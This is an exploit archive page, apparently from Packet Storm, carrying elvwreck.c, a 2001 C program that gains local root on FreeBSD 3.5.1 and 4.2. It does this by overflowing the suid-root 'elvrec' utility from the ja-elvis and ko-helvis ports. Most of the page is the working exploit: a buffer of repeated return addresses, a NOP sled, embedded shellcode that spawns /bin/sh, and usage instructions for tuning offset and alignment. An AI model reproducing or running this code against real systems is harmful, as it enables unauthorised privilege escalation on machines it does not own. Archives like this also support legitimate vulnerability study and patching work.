exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

elvwreck.c

elvwreck.c
Posted Mar 2, 2001
Authored by Dethy | Site synnergy.net

FreeBSD 3.5.1 and 4.2 ja-elvis and ko-helvis (ports packages) local root exploit. Both come with a utility called elvrec that is installed suid root by default.

tags | exploit, local, root
systems | freebsd
SHA-256 | 7c88100f599842056224afe39698572f91d9ba0b60da1ce3bee4d4c02ae4b7e3

elvwreck.c

Change Mirror Download
/*
* ja-elvis & ko-helvis - FreeBSD 3.5.1 & 4.2 ports package local root exploit
*
* vulnerable: versions prior to ja-elvis-1.8.4_1 and ko-helvis-1.8h2_1
*
* The above two packages contain a file recovery utility 'elvrec', installed
* suid root(4755) by default. The utility is subject to a buffer overflow
* leading to root privileges:
*
* Usage: ./elvwreck <offset> <alignment>
*
* dethy@synnergy.net // www.synnergy.net
* 28 Feb 2001.
*
*/

#include <stdio.h>
#include <stdlib.h>
#define PROG "/usr/local/bin/elvrec"
#define VULN 608
#define BSIZE 1024
#define NOP 0x90
#define ESP 0xbfbff92c // FreeBSD 4.2
#define OFFSET 0
#define EATME 1 // byte alignment

char shellcode[]=
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
"\x02\x02\x02/bin/sh.-c.sh";


int main(int argc, char *argv[]) {
char buffer[BSIZE];
long address=ESP;
int i, offset, align;

if(argc > 1) { offset = atoi(argv[1]); align = atoi(argv[2]); }
else { offset = OFFSET; align = EATME; }

address += offset;
fprintf(stderr, "\n* using ret %#x -> align %d -> offset %d\n\n", address, align, offset);

for(i=align; i<VULN; i+=4){ *(long *)&buffer[i] = address; }
for(i=VULN; i<(BSIZE - strlen(shellcode) - 100); i++){ buffer[i] = NOP; }
memcpy(buffer+i, shellcode, strlen(shellcode));
buffer[BSIZE] = '\0';

if(execlp(PROG, "elvrec", buffer, 0)) {
fprintf(stderr, "Unable to execute %s\n\n", PROG);
exit(1);
}
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close